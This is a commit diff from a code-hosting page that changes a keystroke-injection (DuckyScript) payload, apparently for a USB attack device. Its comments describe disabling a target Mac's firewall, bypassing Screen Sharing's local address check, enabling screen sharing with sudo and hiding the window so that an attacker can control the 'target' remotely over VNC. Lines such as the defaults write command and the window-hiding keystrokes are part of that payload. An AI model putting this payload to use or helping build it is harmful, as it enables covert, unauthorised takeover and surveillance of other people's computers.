Adjustments to code to make for easier execution
This commit is contained in:
@@ -6,17 +6,14 @@ REM and control that Mac from another computer using a VNC viewer application.
|
||||
|
||||
REM This script disables the firewall
|
||||
REM disable the local address check for Screen Sharing
|
||||
REM opens a VNC connection to localhost
|
||||
REM and hides the Screen Sharing window.
|
||||
REM you MUST replace "target_ip_address" with I.P. address of targets MacOs
|
||||
REM and enables screen sharing via sudo command (must know password)
|
||||
|
||||
|
||||
REM Now you can use your local computer to tap into the target
|
||||
REM This command will install the RealVNC VNC Viewer 'brew install --cask realvnc-vnc-viewer'
|
||||
REM In RealVNC VNC Viewer, enter the IP address of the target machine
|
||||
REM (the machine where you ran the script) and click the "Connect" button.
|
||||
REM you can run the command open vnc://target_ip_address
|
||||
REM replace "target_ip_address" with the actual I.p. of the remote MacOs
|
||||
|
||||
REM RealVNC VNC Viewer should establish a connection to the target machine,
|
||||
REM VNC Viewer should establish a connection to the target machine,
|
||||
REM you should be able to see and control the remote desktop of the target machine on your computer.
|
||||
|
||||
REM Note that the specific command and package name may vary
|
||||
@@ -50,11 +47,7 @@ STRING defaults write com.apple.ScreenSharing skipLocalAddressCheck -bool true
|
||||
DELAY 3000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING open vnc://target_ip_address
|
||||
DELAY 500
|
||||
STRING clear
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI h
|
||||
GUI w
|
||||
|
||||
|
||||
Reference in New Issue
Block a user